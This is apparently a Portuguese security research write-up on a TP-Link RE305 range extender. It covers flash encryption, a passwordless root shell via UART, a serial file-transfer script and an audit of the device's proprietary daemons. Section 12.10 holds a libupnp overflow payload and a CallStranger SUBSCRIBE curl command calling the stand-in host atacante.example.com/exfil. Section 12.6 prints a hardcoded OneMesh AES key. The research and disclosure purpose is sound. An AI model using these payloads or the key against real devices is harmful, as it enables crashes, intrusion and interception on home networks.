00000020  29 6d a4 0e f3 17 8b ca  55 9c 2f 67 d0 e8 41 b3  |)m......U./g..A.|
...

Entropia uniforme. Cálculo via Python:

import math
from collections import Counter
data = open('file_system.bin','rb').read(1024)
c = Counter(data)
print(sum(-(v/1024)*math.log2(v/1024) for v in c.values()))
# 7.82 bits/byte

7.82 bits/byte em chunks de 1 KB. Em chunks de 512B fica em 7.5 a 7.7. Isso não é SquashFS comprimido raw, é ciphertext, ou comprimido com algo que não tô reconhecendo.

Validações que rodei. Magic byte exhaustive search no arquivo inteiro: zero ocorrência de hsqs, sqsh, JFFS2 (85 19 03 20), cramfs (cs<G), UBIFS, YAFFS, XZ stream header (fd 37 7a 58 5a 00). ASCII runs: zero runs de 20 caracteres printáveis ou mais em sequência. Se fosse SquashFS comprimido, mesmo com XZ os primeiros bytes da magic e os metadata seriam reconhecíveis. XOR brute-force de 1 byte: testei as 256 chaves possíveis, nenhuma quebra o padrão. XOR brute-force de 4 bytes derived (forçando os primeiros 4 bytes pra hsqs): chave derivada aplicada no resto, entropia permanece 7.82, não é XOR estático. Descompressão direta com xz, lzma, gzip: todos retornam erro de formato. binwalk em 6.75 MiB inteiros: zero magic detectada.

Mas o kernel monta esse filesystem normalmente. No boot log:

VFS: Mounted root (squashfs filesystem) readonly on device 31:3

O Linux lê a partição (/dev/mtdblock3), monta como SquashFS, e o userspace roda. A “decryption” acontece runtime durante o mount path do kernel.

Hipótese de trabalho: o MT7628 tem hardware flash encryption engine ativado via eFuse OTP no manufacturing. CPU acessa flash via memory-mapped (kseg1), engine decrypta on-the-fly antes do dado chegar no barramento. md.b no U-Boot lê via PIO bypass (path que pula o engine pra permitir flash programming raw), vê ciphertext puro. Linux kernel via MMU/cached path vê plaintext, monta normalmente.

Pesquisei a hipótese. O kernel TP-Link decompactado (extraído da partição os-image) não tem strings de cipher custom. grep retorna apenas crypto stdlib uClibc, nenhum nome de função AES/ChaCha/proprietário. Symbols ramtd_read/ramtd_write estão lá mas sem indicação de hook de decrypt. Datasheet público do MT7628 menciona “Flash Encryption Engine” entre as features de segurança da plataforma, historicamente ativável via fuses.

Cross-validei depois baixando o firmware oficial do site da TP-Link. O update vem plain, SquashFS desencriptado, magic hsqs no offset esperado. O binário distribuído pelo site não está criptografado de origem. Quem encripta é o pipeline de write da fábrica (ou o mtd_write userspace tool com a key apropriada). O ciphertext só existe na flash em produção.

Análise estática userspace (httpd, daemons proprietários, CGI) a partir do dump UART fica bloqueada sem decryption, esse é o lado positivo do mecanismo. Leitura útil vem do firmware update file público, OU de memory dump pós-mount via U-Boot, OU do shell root (próxima seção). Encrypt-at-rest impede leitura passiva via chip-off (dessoldar a flash e ler com programador externo), mas é hardware-bound, não user-controllable, e a key vive no eFuse.

Não é defesa contra adversário com acesso UART pós-boot. Porque o filesystem já tá montado plain quando o Linux roda.

10. Console root pós-boot

Aqui muda o modelo de ameaça do device.

Depois do dump, deixei o RE305 boot até o final só pra observar o console. Kernel sobe, userspace inicializa (init, dropbear, uhttpd, daemons proprietários), sistema chega em idle. Apertei Enter no terminal tio esperando login prompt.

Recebi:

root@OpenWrt:/#

Sem login. Sem senha.

root@OpenWrt:/# id
uid=0(root) gid=0(root)
root@OpenWrt:/# cat /etc/shadow
root::0:0:99999:7:::

Segundo campo do /etc/shadow, o hash de senha, vazio. Root no Linux do RE305 não tem senha em produção.

Suspeitei que o inittab ou o procd tinha alguma proteção de getty que não tava vendo. Não tinha. O /etc/inittab aponta o console serial pra /bin/login, /bin/login checa /etc/shadow. Com hash vazio, login no console serial passa direto.

Pior. O /etc/config/dropbear tem uma tentativa de hardening:

config dropbear
    option PasswordAuth 'on'
    option RootPasswordAuth 'on'
    option Port '22'
    option SysAccountLogin 'off'

A diretiva SysAccountLogin 'off' parece bloquear login com contas que existem em /etc/passwd. Mas:

$ strings usr/sbin/dropbear | grep -i sysaccount
(no output)

A string SysAccountLogin não aparece no binário. Diretiva silently ignored. Config lista, runtime não implementa. Defesa não-funcional.

Combinando: root sem senha + dropbear não respeitando a tentativa de bloquear contas do sistema. Qualquer canal que chegue no login do dropbear ou no getty serial entra como root.

A janela de ataque concreta. Via UART (físico) é o que acabei de fazer, 30 minutos do parafuso ao shell. Via SSH em LAN não vai — testei exaustivamente:

$ ssh root@192.168.0.14
root@192.168.0.14's password:    ← Enter vazio
Permission denied, please try again.

Dropbear 2011.54 desse build rejeita submissão vazia apesar do hash /etc/shadow ser empty. O parser do svr_auth_password faz early-reject de password.length == 0 (comportamento default de dropbear ≥ 2014 — esse build de 2011 deve ter o patch backportado, ou o reject é da própria função crypt() do uClibc retornar erro pra entrada vazia).

E o caminho pubkey está fechado por configuração: não existe authorized_keys em lugar nenhum:

root@OpenWrt:/# find / -name authorized_keys 2>/dev/null
(sem saída)
root@OpenWrt:/# ls /etc/dropbear/
dropbear_dss_host_key   dropbear_rsa_host_key
root@OpenWrt:/# ps | grep dropbear
716 root /usr/sbin/dropbear -P /var/run/dropbear.1.pid -p 22

Só host keys, sem args de auth não-padrão. Pubkey auth tá ativa (server anuncia publickey,password no debug do ssh client) mas não tem candidatos com que comparar. Mesmo se eu carregasse a RSA-1024 reconstrubída do accountmgnt, dropbear não tem onde validar.

Resultado prático: UART é o único caminho de exploit pra empty root. Em recovery ou standalone, device pós-reset volta pros defaults, mas o SSH continua bloqueado em duas camadas (empty pwd reject + no authorized_keys). No RE305 V3 a categoria “embedded device with empty root in factory” se reduz a vetor físico.

Não achei CVE público apontando hash vazio + SysAccountLogin silently ignored no RE305 especificamente. A família tem CVEs em outros vendors, nenhum nessa combinação.

11. Tirando o filesystem inteiro pelo cabo serial

Shell em mãos e o próximo passo óbvio era copiar /etc, /lib, /bin, /sbin, /usr e principalmente /www (uhttpd) pro meu PC, pra fazer análise estática offline. O caminho normal seria TFTP, scp ou wget. Tentei os três e nenhum colou.

tftp no busybox do RE305 funciona como cliente, mas precisa de servidor no PC e o device com rota IP até lá. O RE305 tava em modo extender órfão, sem WAN configurada, ifconfig mostrando br-lan em 192.168.0.254 e meu PC em outra subnet pelo cabo da casa. Configurar rota static no device daria certo, mas é mexer em config persistente do dispositivo durante a análise — exatamente o que eu queria evitar pra não contaminar o estado.

scp exige ssh/scp cliente no device. O dropbear desse build é só server, sem o utilitário cliente.

wget puxa do PC pro device — direção errada pro que eu queria, e também depende de rede funcional entre os dois.

Sobrou UART. Eu já tinha o cabo, console em 115200 8N1, shell root respondendo. Bastava convencer o device a serializar arquivo em ASCII pelo console e remontar no PC.

A receita é direta. No device: tar czf o diretório alvo em /tmp/xfer.tar.gz, calcula MD5 do arquivo, depois pra cada chunk dd skip=N count=1 + base64 no stdout com marcadores de início/fim. No PC: lê linhas até ver o marcador, decoda o bloco base64 entre marcadores, valida tamanho e MD5 individual do chunk, agrega num arquivo. Ao fim, verifica MD5 do agregado contra o que o device reportou no início.

Implementei isso num script Python único, controlando comandos via pyserial. O device não roda script algum — recebe linha de comando, devolve output, ponto. Três razões pra essa arquitetura:

1. Sem heredoc, sem script no /tmp do device. Heredoc dentro de console serial busybox quebra com escapes esquisitos, e dropbear injeta \r em lugares que confundem o parser. Comando one-line por interação é previsível.

2. Sem state no device. O PC controla qual chunk pediu, o device só responde idempotente. Se o script PC trava ou eu fecho o terminal por engano, refazendo o mesmo pedido o device entrega o mesmo chunk.

3. MD5 por chunk e MD5 do agregado. UART em 115200 às vezes engole bytes em rajada longa, principalmente quando o terminal host (tio) tá no meio do caminho. Sem checksum por chunk eu só descobria a corrupção tentando extrair o tarball no PC.

O loop principal do PC manda pro device:

cmd = (
    f"dd if=/tmp/xfer.tar.gz of=/tmp/c bs={chunk_size} skip={seq} count=1 2>/dev/null; "
    f"SZ=\((wc -c < /tmp/c | awk '{{print \)1}}'); "
    f"MD5=\((md5sum /tmp/c | awk '{{print \)1}}'); "
    f'echo "__BEG__{seq} \(SZ \)MD5"; '
    f"{encoder} < /tmp/c; "
    f'echo "__END__{seq}"'
)

Marcadores __BEG__ e __END__ precisam ser strings que não aparecem em saída de comando normal. Duplo underline + uppercase resolveu. E o lado PC só aceita a linha como BEG válido se for split em quatro tokens com p[0] == '__BEG__' e p[1] == str(seq) — descarta o eco da própria linha de comando que tecnicamente contém __BEG__ como substring.

Pega de armadilha: o busybox do RE305 nem sempre tem base64 standalone. Quando openssl tá presente (que é o caso aqui), openssl enc -base64 faz o mesmo trabalho. Detecção runtime no início da sessão:

link.write(
    "if command -v openssl >/dev/null 2>&1 && echo x|openssl enc -base64 >/dev/null 2>&1; "
    "  then echo __ENC__=openssl; "
    "elif echo x|base64 >/dev/null 2>&1; "
    "  then echo __ENC__=base64; "
    "else echo __ENC__=NONE; fi"
)

A outra otimização que vale lembrar é stty -echo antes de começar. Sem isso, cada comando volta ecoado no console e dobra o tráfego de retorno — pior, gera linhas que olham idênticas aos marcadores quando o parser é frouxo. Com stty -echo ativo, o output do device é limpo, só o resultado dos comandos.

Throughput observado em 115200 8N1 ficou em 9 KB/s. /etc (44 KiB compactado) saiu em 5 segundos, /lib (~160 KiB) em 18s, /www (1.5 MiB) em ~3 min, /usr em ~7s. O gargalo é exclusivamente o serial — dd, md5sum, base64 rodam instantâneos no MT7628. Pra flash inteira (8 MiB) seriam ~15 minutos, o que ainda é mais rápido que o método via md.b no U-Boot que rodei na seção 9 (124 minutos pros mesmos 8 MiB, porque md.b printa hex e tem overhead muito maior).

Script completo em serial_transfer.py. Uso típico:

./serial_transfer.py --port /dev/ttyACM0 --baud 115200 \
    --remote-path /etc --output etc.tar.gz

Resume automático: se cair no meio, basta repetir o mesmo comando. O state em etc.tar.gz.state salva o próximo chunk a baixar e o output é appended chunk a chunk. Útil quando a sessão tio cai por timeout, ou quando o cabo do Flipper desconecta no meio de uma transferência longa.

A técnica não é específica do RE305. Vale pra qualquer device embarcado com console serial e shell root acessível — switch industrial, IP camera, gateway VoIP, set-top box, qualquer hardware com console depurável onde a saída é “consegui shell, agora preciso ler os binários no IDA”. É o passo concreto entre observar o boot e instrumentar a plataforma.

Com a árvore de filesystem no PC eu pude rodar binwalk, strings, file no rootfs todo, abrir os ELFs no Ghidra, cruzar com o firmware OEM baixado do site da TP-Link, e mapear o que vem a seguir.

12. Mapeando a superfície via shell root

Shell em mãos, faço o que faria em qualquer pentest pós-acesso. Enumero serviços, processos, configurações. O resultado é mais grave do que esperava. Vários daemons proprietários da TP-Link, todos rodando como root, vários expostos em 0.0.0.0.

12.1 Processos

/usr/bin/pfclient    (4 instâncias)
/usr/bin/tmpServer   (2 instâncias)
/usr/bin/tdpServer   (3 instâncias)
/usr/bin/cloud-brd   (3 instâncias)
/usr/bin/cloud-client
/usr/bin/client_mgmt
/usr/bin/smartipd    (3 instâncias)
/usr/bin/path_selection
/usr/bin/tddp
/usr/sbin/dropbear
/usr/sbin/uhttpd
wpsd                 (3 instâncias)
wifid

ubus APIs expostas (ubus list):

PFClient, client_mgmt, cloud_client, service, system, tdpServer, tmpServer

Nada disso é OpenWrt vanilla. Tudo código proprietário TP-Link, documentação pública praticamente inexistente.

12.2 Portas em listen

netstat -tulnp:

tcp  0.0.0.0:22       LISTEN   1349/dropbear
tcp  0.0.0.0:80       LISTEN   653/uhttpd
tcp  0.0.0.0:6000     LISTEN   762/path_selection
tcp  0.0.0.0:6001     LISTEN   762/path_selection
tcp  127.0.0.1:20002  LISTEN   636/tmpServer
udp  0.0.0.0:1040              442/tddp
udp  0.0.0.0:20002             637/tdpServer

12.3 dropbear 2011.54

$ /usr/sbin/dropbear -V
Unknown argument -V
Dropbear sshd v2011.54

Build 2011.54, outubro de 2011. Nove anos de drift até o firmware compilado em fevereiro de 2020. CVEs que afetam essa versão e rodam pre-auth ou imediatamente post-auth: CVE-2016-7406 (format string em messaging), CVE-2016-7407 (DoS via parsing malformado), CVE-2016-7408 (command injection em dbclient), CVE-2016-7409 (information disclosure), CVE-2017-9078 (use-after-free pós-auth).

Flags custom TP-Link no binário:

-C    Use Web Server account login    (NÃO standard dropbear)
-L    Enable SSH session login        (NÃO standard dropbear)

A combinação SysAccountLogin 'off' + flag -C indica que o dropbear da TP-Link não usa /etc/shadow por default, usa um modelo de auth via Web Server account, provavelmente cifrado com a chave RSA que está em /etc/config/accountmgnt. Mesmo que o auth custom funcione corretamente, a versão é cripto e implementação antiga demais. CVE-2017-9078 sozinho (use-after-free post-auth) basta pra um auth bypass dar root.

12.4 path_selection

Daemon proprietário em 0.0.0.0:6000 e 0.0.0.0:6001 TCP. Binário /usr/bin/path_selection, 54.792 bytes, build Feb/2020. Funções via strings:

handle_debug_event           (interface de debug acessível externamente)
handle_error_event
handle_path_selection
handle_read_event
handle_sta_assoc_event
handle_sta_disassoc_event
handle_update_config_event   (config update via socket)
path_selection_finit
path_selection_init

Dois sockets TCP públicos aceitando handle_debug_event e handle_update_config_event. Reverse via Ghidra ou IDA é mandatório pra mapear o wire protocol, mas o nome dos handlers já sugere superfície interessante. update_config_event aceita string sem validação? debug_event aceita comando shell?

Sem CVE público.

12.5 TDDP em 0.0.0.0:1040 UDP

O daemon que mais me chamou atenção do passe inicial. tddp (TP-Link Device Debug Protocol) é protocolo proprietário de gerência out-of-band, historicamente vetor de CVE-2020-12109 em vários roteadores TP-Link.

Comandos enumerados via strings em /usr/bin/tddp:

tddp_cmd_setCfg
tddp_cmd_getCfg
tddp_cmd_spCmd               (special command, tipicamente shell exec)
tddp_cmd_getHwDesc / HwID / FwID / MAC / DevID / OEMID
tddp_cmd_setOEMID / setDevID
tddp2_cmd_setPin             (TDDPv2 set PIN)
tddp_cmd_getGpioStatus
tddp2_cmd_setMac

Hooks críticos:

tddp_hook_setmac %02X:%02X:%02X:%02X:%02X:%02X
tddp_hook_erase_radio        (pacote UDP pode APAGAR a partição radio)

Funções perigosas no binário:

strcpy, strcat, vsprintf, popen, system

E uma string que parece format string passada pra system():

echo $(getfirm HARDVERSION) | tr -d "\n"

Se o output de getfirm HARDVERSION é influenciável pelo atacante via tddp_cmd_setCfg, é command injection direto via pacote UDP. Não validei ainda, probing UDP dedicado ficou pra próxima sessão, não quis correr risco de DoS o device com pacote malformado e perder o uptime atual.

Auth do TDDP no binário:

tddp_md5_calc
tddp_md5_verify_digest
tddp_des_min_do              (single DES auth)

Single DES (des_min_do) tem chave de 56 bits, quebrável por brute-force em hardware comum desde 1998. Se o digest do TDDP usa single DES como camada de proteção, atacante MITM com hardware razoável quebra a chave em umas 24h e fala TDDP autenticado.

CVE-2020-12109 foi publicada em 23 de abril de 2020. Firmware deste RE305 é de 12 de fevereiro de 2020. Pré-patch. Provável variant afetada. Confirmação pendente via teste UDP dedicado.

Operações destrutivas acionáveis via UDP no port 1040. tddp_cmd_setCfg altera config persistente sem autenticação plain. tddp2_cmd_setMac muda MAC address (impersonation, ou conflito em LAN). tddp_cmd_setOEMID muda OEM ID. tddp_hook_erase_radio apaga a partição radio, perda permanente de calibração WiFi, brick parcial do device sem JTAG.

12.6 tdpServer em 0.0.0.0:20002 UDP

Nome similar mas daemon diferente, tdp, não tddp. Implementa o protocolo OneMesh de descoberta de devices. Binário /usr/bin/tdpServer, 160.108 bytes. Funções principais:

tdp_client_send_probe
tdp_client_attach_master / auto_attach_master
tdp_onemesh_slave_store_rsa_pub        (armazena pubkey RSA do master)
tdp_onemesh_slave_offer_slave_key
tdp_onemesh_master_get_rsa_pub
tdp_server_parse_probe
tdp_server_parse_attach_master
tdp_server_parse_slave_key_offer

Listening em 0.0.0.0:20002 UDP, acessível externamente. Atacante na LAN inicia OneMesh slave-key exchange MITM.

E o crypto que protege o key exchange. Inspeção inicial dos imports:

$ strings /usr/bin/tdpServer | grep -E 'DES|AES'
DES_encrypt3
DES_decrypt3
DES_set_key_unchecked
DES_encrypt1
DES_encrypt2
DES_ede3_cbc_encrypt
DES_ecb_encrypt
DES_pcbc_encrypt
des_min_do
AES_set_decrypt_key
AES_set_encrypt_key
AES_cbc_encrypt

Mix de primitivas. Mas a inspeção dos imports não conta a história — saber qual é usada onde requer ver o disasm.

Reverte a função sym.tdp_server_parse_slave_key_offer (a que processa o pacote de slave-key offer no master side do OneMesh, função de 2948 bytes em /usr/bin/tdpServer). Comando exato:

$ r2 -2 -q -e scr.color=0 -c 'aaa; s sym.tdp_server_parse_slave_key_offer; pdf' \
    /usr/bin/tdpServer | grep -iE "(tpapp_aes|str\.|TPONEMESH)"
0x004191e0      d80a4626       addiu a2, s2, 0xad8         ; 0x420ad8 ; "TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP"
0x004191e4      e7cb1104       bal sym.tpapp_aes_decrypt
...
0x004199c4      e880998f       lw t9, -sym.tpapp_aes_encrypt(gp)
0x004199d4      65c91104       bal sym.tpapp_aes_encrypt

Extraindo a string direto do binário pra confirmar:

$ python3 -c "
with open('/usr/bin/tdpServer','rb') as f:
    data = f.read()
# offset 0x20ad8 em .rodata (file offset, não VA)
idx = data.find(b'TPONEMESH_')
print(f'offset (file): {hex(idx)}')
print(f'value: {data[idx:idx+32]!r}')
print(f'length: {len(data[idx:].split(chr(0).encode())[0])} bytes')
"
offset (file): 0x20ad8
value: b'TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP'
length: 32 bytes

A primeira string carregada antes do tpapp_aes_decrypt é uma constante hardcoded em .rodata. Exatamente 32 bytes ASCII printáveis. É a chave AES-256 usada pra cifrar e decifrar o slave key exchange do OneMesh. Hardcoded no binário, idêntica em todas as unidades RE305 V3 (e provavelmente em toda a linha TP-Link que compartilha esse build do tdpServer).

A função des_min_do existe sim e usa single DES (DES_encrypt1 em loop, sem DES_encrypt2/3), mas ela é chamada por uma função separada (fcn.00404228 → fcn.00404420), não pela path de slave-key exchange. O que des_min_do cifra está em outra surface — provavelmente código legacy ou helper para outro tipo de mensagem TDP. Não confirmei o uso exato dessa rotina nesse passe.

A inferência inicial F20 (“DES single como auth no OneMesh”) nasceu de ler o strings puro e ver DES_encrypt1, des_min_do nos imports. Estava errado. Revisando depois do RE:

O slave-key exchange do OneMesh usa AES-256-CBC, não DES single. Mas com chave hardcoded global TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP (32 bytes ASCII), igual em toda a frota TP-Link da linha RE/OneMesh que compartilha esse tdpServer. Qualquer um com o firmware decifra qualquer slave-key offer capturado entre RE305 e router master, e forja mensagens válidas após autenticar com o MAC do par. Bate com a falha que documento na seção 15 no crypto.lua — 2EB38F7E...427F7836 é a chave AES-256 do path enc_for_onemesh da Lua side, e TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP é a chave do path C side do tdpServer. Duas chaves diferentes, dois canais OneMesh, mesma falha de design dos dois lados.

Source path vazado no binário pelas strings de erro (assertion / debug logs):

$ strings /usr/bin/tdpServer | grep -E "\.c:[0-9]+" | sort -u | head -10
tdpOneMesh.c:711
tdpOneMesh.c:715
...
tdpOneMesh.c:3138         ← linha que carrega a chave TPONEMESH_K... pra AES decrypt
tdpOneMesh.c:3147         ← linha do erro "Failed to decrypt."
tpAppLua.c:44
tpAppLua.c:53

Linha 3138 é onde a chave hardcoded é carregada antes da chamada tpapp_aes_decrypt. Build não removeu paths de assertion em release. Atacante com o binário sabe exatamente em qual arquivo .c (fora do firmware open-source) está cada decisão de design da TP-Link nesse subsistema.

12.7 uhttpd sem TLS

/etc/config/uhttpd:

option listen_https '0.0.0.0:443'
option listen_http  '0.0.0.0:80'
option cert '/etc/uhttpd.crt'
option key  '/etc/uhttpd.key'

Realidade do binário:

$ strings /usr/sbin/uhttpd | grep -i tls
uhttpd: TLS support not compiled, ignoring -%c

netstat:

tcp  0.0.0.0:80   LISTEN   653/uhttpd
(:443 ausente)

WebUI roda em HTTP cleartext. Config lista listen_https, mas o binário foi compilado sem suporte TLS, flags HTTPS são silently dropped. Credenciais do usuário trafegam em plain HTTP.

12.8 rfc1918_filter desabilitado

cat /etc/config/uhttpd:

option rfc1918_filter '0'

Proteção contra DNS rebinding OFF no build BR de fevereiro de 2020. Cenário: usuário visita site malicioso pelo browser na LAN, site faz XHR/fetch pra http://192.168.0.254/ ou nome resolvido pra IP RFC1918, sem rfc1918_filter o uhttpd aceita a request com Host header reescrito por DNS rebinding, bypass de Same-Origin Policy. Combinado com admin com senha vazia em factory state e HTTP plain, é takeover completo via browser do usuário.

12.9 SSH host keys em ramfs

$ mount | grep etc
none on /etc type ramfs (rw,relatime)
$ ls -la /etc/dropbear/
-rw-------    1 root     root    457 Jan  1 00:00 dropbear_dss_host_key
-rw-------    1 root     root    427 Jan  1 00:00 dropbear_rsa_host_key

/etc é ramfs, regenerado a cada boot. SSH host keys geradas runtime, não são shipped nem shared entre devices. Positivo, evita o problema clássico de OEM distribuir a mesma host key em milhões de unidades.

Mas keys regeneradas a cada boot significa que o cache known_hosts do cliente SSH invalida a cada reboot, usuário treina pra ignorar MITM warning. E o PRNG seed pra geração no boot inicial pode ser fraca (entropy pool zerada em hardware sem TRNG, e o MT7628 não tem TRNG hardware-grade), keys previsíveis. Sem persistência, sem auditoria de mudança de keys.

Hygiene fail, não CVE-class.

12.10 wscd — UPnP IGD com libupnp 1.3.1 (de 2007, vulnerável)

/bin/wscd é o daemon WPS + UPnP Internet Gateway Device do RE305. 260 KiB, MIPS LE, stripped. Sobe na boot via init script padrão e fica em SSDP multicast em 239.255.255.250:1900 UDP + HTTP server interno (porta dinâmica) servindo description.xml, action invocations SOAP, eventing.

A versão da stack UPnP está literalmente no User-Agent que o próprio daemon manda em respostas HTTP. Capturo via strings:

$ strings /bin/wscd | grep -i "UPnP/"
%s/%s, UPnP/1.0, Portable SDK for UPnP devices/1.3.1

$ strings /bin/wscd | grep -i "GCC"
GCC: (Buildroot 2012.11.1) 4.6.3

libupnp 1.3.1, build de 2012, gcc 4.6.3. A versão 1.3.1 é de junho de 2007. A 1.6.18 (janeiro 2013) já incluía fixes para os seguintes CVEs que afetam diretamente 1.3.1:

Funções literalmente presentes no binário, na text section, confirmadas pelo radare:

$ nm /bin/wscd | grep -E '(unique_service_name|ssdp_request_type|parser_parse)'
0041b76c T unique_service_name
0041ba2c T ssdp_request_type1
0041bb1c T ssdp_request_type
00424130 T parser_parse_responseline
00424500 T parser_parse_headers
00424890 T parser_parse_entity

Isso é o pacote de funções afetado por CVE-2012-5958..5961 in situ, sem patch.

Impacto direto. wscd roda como root (escalating from procd init). Atacante na LAN doméstica do RE305 manda um pacote UDP unicast/multicast pra port 1900 com header ST maior que o buffer esperado, sobrescreve return address ou ROP gadgets, ganha shell root sem credencial. O range extender, na configuração típica de “estende a wifi de casa”, está alcançável por qualquer dispositivo na mesma rede WiFi de hóspedes.

Reprodução do reconhecimento mínimo (LAN, sem disparar o overflow):

# Confirma que o RE305 responde SSDP M-SEARCH normal (sanity check)
$ python3 -c "
import socket
m = (b'M-SEARCH * HTTP/1.1\r\n'
     b'HOST: 239.255.255.250:1900\r\n'
     b'MAN:\"ssdp:discover\"\r\n'
     b'MX: 2\r\n'
     b'ST: ssdp:all\r\n\r\n')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(3)
s.sendto(m, ('239.255.255.250', 1900))
while True:
    try:
        d, a = s.recvfrom(65535)
        print(f'--- from {a} ---')
        print(d.decode(errors='replace'))
    except socket.timeout: break
"

Resposta esperada do RE305 (User-Agent confirma o daemon e a versão):

--- from ('192.168.0.x', 1900) ---
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: ...
EXT:
LOCATION: http://192.168.0.x:<port>/IGDdevicedesc.xml
SERVER: Linux/2.6.36, UPnP/1.0, Portable SDK for UPnP devices/1.3.1
ST: upnp:rootdevice
USN: uuid:...

A linha SERVER: confirma a versão vulnerável diretamente do device, sem precisar dump de firmware. Esse é o fingerprint que vai no ticket de PSIRT.

PoC do overflow CVE-2012-5958 — não rodei aqui pra não derrubar meu próprio device durante a análise, mas a forma do payload é documentada publicamente:

# AVISO: este payload é destrutivo e crasha o wscd. Apenas referência pro PSIRT.
$ python3 -c "
import socket
# Header ST oversized — buffer alvo era ~180 bytes em 1.3.1, mando ~2000
oversize_st = b'uuid:' + (b'A' * 2000) + b'::urn:schemas-upnp-org:service:Foo:1'
m = (b'M-SEARCH * HTTP/1.1\r\n'
     b'HOST: 239.255.255.250:1900\r\n'
     b'MAN:\"ssdp:discover\"\r\n'
     b'MX: 1\r\n'
     b'ST: ' + oversize_st + b'\r\n\r\n')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(m, ('192.168.0.x', 1900))   # unicast ao device alvo
"

Em libupnp 1.3.1, isso entra no unique_service_name() (ssdp_server.c:~600) que faz strcpy em buffer fixed-size do header ST. Resultado em produção (sem ASLR significativo nesse build, e o MT7628 não tem stack canary): crash do wscd com PC controlável, segue ROP/shellcode na stack pra elevação de execução em root. Confirmação dinâmica fica pra fora desse paper estático e pro próximo passo do disclosure formal.

CallStranger (CVE-2020-12695) é design flaw — o CallBack URL de UPnP eventing aponta externamente. O atacante manda SUBSCRIBE pro extender com CALLBACK: <http://atacante.example/x>, o extender envia eventos pra esse URL. Reflection amplification + exfil de informação interna (state do device).

Reprodução do CallStranger:

# Discover service URL primeiro (via M-SEARCH normal acima), depois:
$ LOCATION='http://192.168.0.x:port/event_url'  # do response do M-SEARCH
\( curl -X SUBSCRIBE "\)LOCATION" \
    -H "CALLBACK: <http://atacante.example.com/exfil>" \
    -H "NT: upnp:event" \
    -H "TIMEOUT: Second-1800" \
    -v

Resposta com 200 OK + header SID: confirma subscription criada. Em seguida o RE305 começa a fazer NOTIFY POST contra atacante.example.com/exfil com payloads de evento UPnP — exfil sem auth do state interno.

Hardening que TP-Link teria como fazer e não fez:

• Upgrade libupnp pra 1.14.x atual (release de 2024) — fix de 13 anos disponível, embargado por hábito de não atualizar dependências em produtos consumer

• Disable UPnP IGD por default (a maioria dos roteadores enterprise faz isso há anos)

• Adicionar binding restrito à LAN, sem multicast cross-network

• Substituir por implementação custom validada

Não tem CVE público específico apontando “TP-Link RE305 com libupnp 1.3.1 in production em 2020/2024”. Family CVE — CVE-2012-5958 — bate diretamente no código que dumpei.

12.11 Daemons restantes (wifid, nrd, nvrammanager, smartipd)

Catalogados aqui pra completude. Sem detalhe de finding-class novo, surface ainda em mapeamento.

wifid (268 KiB, /usr/bin/wifid). Daemon de gerenciamento WiFi. Imports system, popen, sprintf, strcpy, fork. Lê config de /tmp/wifi.conf, /tmp/wifi_prelink_config, /tmp/wifi_scan_2g.result. Sem rede direta (não tem bind/accept), comunicação via netlink ou unix socket. Atacante na LAN sem shell não chega direto, mas se controla um dos arquivos de config (via wscd UPnP control point ou via Lua-template injection do uhttpd), pode disparar system() em payload controlado. Vetor indireto.

nrd (254 KiB, /usr/sbin/nrd). Network Roaming Daemon do pacote Quantenna/Qualcomm de WiFi band steering. Functions: steeralg_init, triggermon_init, estimator_init, stadb_init, steerexec_init, wlanif_init, netdb_init. Surface 100% interna (netlink + ubus). Não foi observado bind em socket inet. Apesar do tamanho, é coordenador interno, não vetor de exposição externa. Sem CVE direto previsto.

nvrammanager (174 KiB, /usr/bin/nvrammanager). Gerencia escrita em flash via /proc/mtd, e expõe API via ubus (/var/run/ubus.sock). Imports system, sprintf, strcpy — paths perigosos se input externo chega às chamadas shell. É o daemon que provavelmente consome cloud_push 'new_firmware' da seção 13 (cadeia: cloud-brd recebe URL → cloud-client baixa → nvrammanager grava na partição). Vetor de RCE em cadeia se atacante conseguir injetar URL ou conteúdo controlado em qualquer ponto dessa cadeia.

smartipd (54 KiB, /usr/bin/smartipd). Daemon de “smart IP” / DHCP enhancement. Lê /tmp/device.info, /tmp/udhcpd.info, /tmp/wifi_runtime_info.*. Sem bind direto inet. Pequeno o suficiente pra varredura mas baixa prioridade no pentest.

Pra todos esses, finding-class ainda não confirmado nesse passe estático — surface mapeada com hipóteses, validação dinâmica fica pendente pro paper de continuidade ou pro disclosure formal.

13. Canal cloud TP-Link (cloud-brd + cloud-client)

Com o filesystem em mãos eu fui catalogar daemons e topei com dois binários no /usr/bin que paper nenhum sobre a linha RE-XXX da TP-Link discute em profundidade: cloud-brd (250 KiB) e cloud-client (117 KiB). Iniciados por /etc/init.d/cloud_brd (START=98) e /etc/init.d/cloud_client (START=99), os dois últimos no boot, depois de tudo configurado.

O cloud-brd é “cloud broker”. O cloud-client consome ele via ubus, kernel já com tudo subido. Lendo a config:

$ cat /etc/cloud_config.cfg
{
  "cloud": {
    "sefDomain": "n-deventry-gw.tplinkcloud.com",
    "sefPort": 443,
    "defaultSvr": "n-devs-gw.tplinkcloud.com",
    "defaultPort": 443,
    "defaultValidTime": 172800
  },
  "default": {
    "heartbeat_interval_ms": 235000,
    "request_timeout_ms": 5000,
    ...
    "reconnect_random_time_min_ms": 2000,
    "reconnect_random_time_max_ms": 256000,
    "cer_file": "/etc/certificate/2048_newroot.cer"
  }
}

Esse é o canal de management remoto da TP-Link. Heartbeat a cada ~4 minutos, reconnect com jitter, dois servidores (entry gateway e default service). Mesmo paradigma que ISP usa em TR-069, só que cross-vendor: aqui é a própria TP-Link operando o controle remoto, não a operadora.

O que o cloud manda. Conta no /etc/config/cloud_config:

config cloud_push 'new_firmware'
config cloud_push 'device_legality'
    option illegal_type '0'
    option illegal '0'
config cloud_reply 'device_status'
    option bind_status '0'
    option need_unbind '0'
    option need_checkupgrade '1'
config cloud_reply 'upgrade_info'
config cloud_device 'info'
    option alias 'RE305'

A leitura literal disso é que a cloud TP-Link pode:

• Empurrar firmware novo (cloud_push 'new_firmware') — o device baixa e instala

• Marcar o device como ilegal (cloud_push 'device_legality' com illegal_type) — bricking remoto, suspeito ser anti-pirataria de OEM

• Mudar status de binding (bind_status, need_unbind) — desvincular o device de uma conta TP-Link à força

• Forçar verificação de upgrade (need_checkupgrade)

